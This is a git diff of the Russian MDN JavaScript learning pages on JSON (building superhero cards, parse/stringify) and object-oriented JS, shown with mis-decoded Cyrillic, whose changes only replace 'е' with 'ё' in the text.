<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ…_ΠΊΠ°Ρ€Ρ‚_гСроя">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… ΠΊΠ°Ρ€Ρ‚ гСроя</h3>
-<p>Π—Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π²Π½ΠΈΠ·Ρƒ ΠΊΠΎΠ΄Π°, которая создаСт ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ ΠΊΠ°Ρ€Ρ‚Ρ‹ супСргСроСв:</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π²Π½ΠΈΠ·Ρƒ ΠΊΠΎΠ΄Π°, которая создаёт ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ ΠΊΠ°Ρ€Ρ‚Ρ‹ супСргСроСв:</p>
<pre class="brush: js">function showHeroes(jsonObj) {
var heroes = jsonObj['members'];
@@ -266,16 +266,16 @@ request.send();</pre>
<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#The_standard_for_loop">for loop</a> для цикличСского прохоТдСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² массивС. Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… ΠΌΡ‹:</p>
<ol>
- <li>Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ нСсколько Π½ΠΎΠ²Ρ‹Ρ… элСмСнтов: <code>&lt;article&gt;</code>, <code>&lt;h2&gt;</code>, Ρ‚Ρ€ΠΈ <code>&lt;p&gt;</code> ΠΈ <code>&lt;ul&gt;</code>.</li>
+ <li>Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ нСсколько Π½ΠΎΠ²Ρ‹Ρ… элСмСнтов: <code>&lt;article&gt;</code>, <code>&lt;h2&gt;</code>, Ρ‚Ρ€ΠΈ <code>&lt;p&gt;</code> ΠΈ <code>&lt;ul&gt;</code>.</li>
<li>УстанавливаСм <code>&lt;h2&gt;</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ <code>name</code> Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ гСроя.</li>
<li>ЗаполняСм Ρ‚Ρ€ΠΈ Π°Π±Π·Π°Ρ†Π° своСй <code>secretIdentity</code>, <code>age</code> ΠΈ строкой, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ говорится: «БупСрспособности:Β», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ввСсти ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² список.</li>
<li>БохраняСм свойство <code>powers</code> Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code>superPowers</code> - гдС содСрТится массив, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ пСрСчислСны свСрхспособности Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ гСроя.</li>
- <li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ†ΠΈΠΊΠ» <code>for</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΈΡ‚ΡŒ свСрхспособности Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ гСроя , для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… ΠΌΡ‹ создаСм элСмСнт <code>&lt;li&gt;</code>, ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅ΠΌ Π² Π½Π΅Π³ΠΎ свСрхспособности, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅ΠΌ <code>listItem</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта <code>&lt;ul&gt;</code> (<code>myList</code>) с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>appendChild()</code>.</li>
+ <li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ†ΠΈΠΊΠ» <code>for</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΈΡ‚ΡŒ свСрхспособности Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ гСроя , для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ… ΠΌΡ‹ создаём элСмСнт <code>&lt;li&gt;</code>, ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅ΠΌ Π² Π½Π΅Π³ΠΎ свСрхспособности, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅ΠΌ <code>listItem</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта <code>&lt;ul&gt;</code> (<code>myList</code>) с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>appendChild()</code>.</li>
<li>ПослСднСС, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ, это добавляСм <code>&lt;h2&gt;</code>, <code>&lt;p&gt;</code> ΠΈ <code>&lt;ul&gt;</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>&lt;article&gt;</code> (<code>myArticle</code>), Π° Π·Π°Ρ‚Π΅ΠΌ добавляСм <code>&lt;article&gt;</code> Π² <code>&lt;section&gt;</code>. Π’Π°ΠΆΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ порядок, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ΡΡ элСмСнты, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это порядок, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ HTML.</li>
</ol>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Если Π²Π°ΠΌ Π½Π΅ удаСтся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ исходному ΠΊΠΎΠ΄Ρƒ <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished.html">heroes-finished.html</a> (см. Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ <a href="https://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished.html">Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ live</a>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Если Π²Π°ΠΌ Π½Π΅ удаётся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ исходному ΠΊΠΎΠ΄Ρƒ <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished.html">heroes-finished.html</a> (см. Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ <a href="https://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished.html">Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ live</a>).</p>
</div>
<div class="note">
@@ -284,11 +284,11 @@ request.send();</pre>
<h2 id="ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅_ΠΌΠ΅ΠΆΠ΄Ρƒ_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ_ΠΈ_тСкстом">ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ ΠΈ тСкстом</h2>
-<p>Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±Ρ‹Π» прост с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния доступа ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ JavaScript, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π·Π°Π΄Π°Π»ΠΈ XHR-запрос для прямого прСобразования ΠΎΡ‚Π²Π΅Ρ‚Π° JSON Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ:</p>
+<p>Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±Ρ‹Π» прост с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния доступа ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ JavaScript, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π·Π°Π΄Π°Π»ΠΈ XHR-запрос для прямого прСобразования ΠΎΡ‚Π²Π΅Ρ‚Π° JSON Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ:</p>
<pre class="brush: js">request.responseType = 'json';</pre>
-<p>Но ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°ΠΌ Π½Π΅ Ρ‚Π°ΠΊ Π²Π΅Π·Π΅Ρ‚ - ΠΈΠ½ΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΡΡ‹Ρ€ΡƒΡŽ строку JSON ΠΈ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Β ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ. И ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript ΠΏΠΎ сСти, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Β ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² JSON (строку) ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ. К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, эти Π΄Π²Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ распространСны Π² Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅, Ρ‡Ρ‚ΠΎ встроСнный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> доступСн Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚Β ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°:</p>
+<p>Но ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°ΠΌ Π½Π΅ Ρ‚Π°ΠΊ Π²Π΅Π·Ρ‘Ρ‚ - ΠΈΠ½ΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΡΡ‹Ρ€ΡƒΡŽ строку JSON ΠΈ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Β ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ. И ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript ΠΏΠΎ сСти, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Β ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² JSON (строку) ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ. К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, эти Π΄Π²Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ распространСны Π² Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅, Ρ‡Ρ‚ΠΎ встроСнный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> доступСн Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚Β ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°:</p>
<ul>
<li><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse">parse()</a></code>: ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ строку JSON Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript.</li>
@@ -315,7 +315,7 @@ myJSON
var myString = JSON.stringify(myJSON);
myString</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, Π·Π°Ρ‚Π΅ΠΌ провСряСм, Ρ‡Ρ‚ΠΎ ΠΎΠ½ содСрТит, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅ΠΌ Π΅Π³ΠΎ Π² строку JSON, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code>stringify()</code>Β , сохраняя Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π° Π·Π°Ρ‚Π΅ΠΌ снова провСряСм Π΅Π³ΠΎ.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаём ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ JavaScript, Π·Π°Ρ‚Π΅ΠΌ провСряСм, Ρ‡Ρ‚ΠΎ ΠΎΠ½ содСрТит, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅ΠΌ Π΅Π³ΠΎ Π² строку JSON, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code>stringify()</code>Β , сохраняя Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π° Π·Π°Ρ‚Π΅ΠΌ снова провСряСм Π΅Π³ΠΎ.</p>
<h2 id="РСзюмС">РСзюмС</h2>
diff --git a/files/ru/learn/javascript/objects/object-oriented_js/index.html b/files/ru/learn/javascript/objects/object-oriented_js/index.html
index e5f44c9fb4..490f68d94c 100644
--- a/files/ru/learn/javascript/objects/object-oriented_js/index.html
+++ b/files/ru/learn/javascript/objects/object-oriented_js/index.html
@@ -17,7 +17,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object-oriented_JS
<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}</div>
-<p class="summary">Π Π°Π·ΠΎΠ±Ρ€Π°Π²ΡˆΠΈΡΡŒ с основами, сосрСдоточимся Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌ JavaScript (OOJS) β€” данная ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Π΅Ρ‚ Π±Π°Π·ΠΎΠ²ΠΎΠ΅ прСдставлСниС ΠΎ Ρ‚Π΅ΠΎΡ€ΠΈΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ программирования (ООП), Π΄Π°Π»Π΅Π΅ рассмотрСно ΠΊΠ°ΠΊ JavaScript эмулируСт классы ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-конструктора ΠΈ ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡΒ ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡ€Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
+<p class="summary">Π Π°Π·ΠΎΠ±Ρ€Π°Π²ΡˆΠΈΡΡŒ с основами, сосрСдоточимся Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌ JavaScript (OOJS) β€” данная ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Ρ‘Ρ‚ Π±Π°Π·ΠΎΠ²ΠΎΠ΅ прСдставлСниС ΠΎ Ρ‚Π΅ΠΎΡ€ΠΈΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ программирования (ООП), Π΄Π°Π»Π΅Π΅ рассмотрСно ΠΊΠ°ΠΊ JavaScript эмулируСт классы ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-конструктора ΠΈ ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡΒ ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡ€Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
<table class="learn-box standard-table">
<tbody>
@@ -38,7 +38,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object-oriented_JS
<p>Начнём с упрощённого высокоуровнСвого прСдставлСния ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ <em>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</em> <em>(ООП)</em>. ΠœΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ООП ΠΌΠΎΠΆΠ΅Ρ‚ быстро ΡΡ‚Π°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ слоТным, ΠΈ Ссли сСйчас Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ курс, вСроятно, ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡ‚Π°Ρ‚ΡŒ большС, Ρ‡Π΅ΠΌ ΠΏΠΎΠΌΠΎΡ‡ΡŒ. Основная идСя ООП Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ для отобраТСния ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ ΠΈΠ· Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΌΠΈΡ€Π°Β Π² Π½Π°ΡˆΠΈΡ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°Ρ… ΠΈ/ΠΈΠ»ΠΈ упрощСния доступа ΠΊ функциям, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π±Ρ‹Π»ΠΎ Π±Ρ‹ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΈΠ»ΠΈ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ ΠΊΠΎΠ΄, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠΌΠΎΠ΄Π΅Π»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠ΅ Ρƒ этих ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ возмоТности ΠΈΠ»ΠΈ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅. Π”Π°Π½Π½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (Π° часто Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ) ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½ΠΎ сохранСны (ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Β "<strong>инкапсулированы"</strong>) Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, упрощая структуру ΠΈ доступ ΠΊ Π½ΠΈΠΌ. ΠŸΠ°ΠΊΠ΅Ρ‚Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ присвоСно опрСдСлСнноС имя, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΡΠ»Π°Ρ‚ΡŒΡΡ ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚Β <strong>пространством ΠΈΠΌΠ΅Π½.</strong>Β ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² качСствС Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π»Π΅Π³ΠΊΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ ΠΏΠΎ сСти.</p>
